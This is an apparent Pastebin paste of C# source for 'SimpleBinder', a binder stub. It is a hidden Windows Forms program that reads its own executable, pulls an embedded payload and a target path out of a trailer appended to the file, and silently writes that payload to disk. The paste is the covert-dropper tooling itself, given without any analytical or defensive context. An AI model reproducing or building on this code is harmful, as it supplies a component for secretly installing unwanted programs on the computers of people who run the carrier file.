Advertisement
Guest User

Untitled

a guest
Jul 26th, 2017
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.99 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Drawing;
  5. using System.Text;
  6. using System.Windows.Forms;
  7. using System.IO;
  8. using System.Diagnostics;
  9.  
  10. namespace SimpleBinder
  11. {
  12. public class Stub : Form
  13. {
  14. /// <summary>
  15. /// The main entry point for the application.
  16. /// </summary>
  17. [STAThread]
  18. static void Main()
  19. {
  20. Application.EnableVisualStyles();
  21. Application.SetCompatibleTextRenderingDefault(false);
  22. Application.Run(new Stub());
  23. }
  24.  
  25. /// <summary>
  26. /// Required designer variable.
  27. /// </summary>
  28. private System.ComponentModel.IContainer components = null;
  29.  
  30. /// <summary>
  31. /// Clean up any resources being used.
  32. /// </summary>
  33. /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
  34. protected override void Dispose(bool disposing)
  35. {
  36. if (disposing && (components != null))
  37. {
  38. components.Dispose();
  39. }
  40. base.Dispose(disposing);
  41. }
  42.  
  43. #region Windows Form Designer generated code
  44.  
  45. /// <summary>
  46. /// Required method for Designer support - do not modify
  47. /// the contents of this method with the code editor.
  48. /// </summary>
  49. private void InitializeComponent()
  50. {
  51. this.SuspendLayout();
  52. //
  53. // Form1
  54. //
  55. this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
  56. this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
  57. this.ClientSize = new System.Drawing.Size(144, 135);
  58. this.ControlBox = false;
  59. this.MaximizeBox = false;
  60. this.MinimizeBox = false;
  61. this.Name = "Form1";
  62. this.ShowIcon = false;
  63. this.ShowInTaskbar = false;
  64. this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
  65. this.Load += new System.EventHandler(this.Form1_Load);
  66. this.ResumeLayout(false);
  67.  
  68. }
  69.  
  70. #endregion
  71.  
  72. public Stub()
  73. {
  74. InitializeComponent();
  75. }
  76.  
  77. private void Form1_Load(object sender, EventArgs e)
  78. {
  79. try
  80. {
  81. byte[] source = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
  82. byte[] data = new byte[1024];
  83.  
  84. Array.Copy(source, source.Length - 1024, data, 0, 1024);
  85. string[] info = Encoding.UTF8.GetString(data).Split('|');
  86. byte[] target = new byte[int.Parse(info[1])];
  87. Array.Copy(source, source.Length - 1024 - target.Length, target, 0, target.Length);
  88. File.WriteAllBytes(info[0], target);
  89. }
  90. finally
  91. {
  92. this.Close();
  93. }
  94. }
  95. }
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement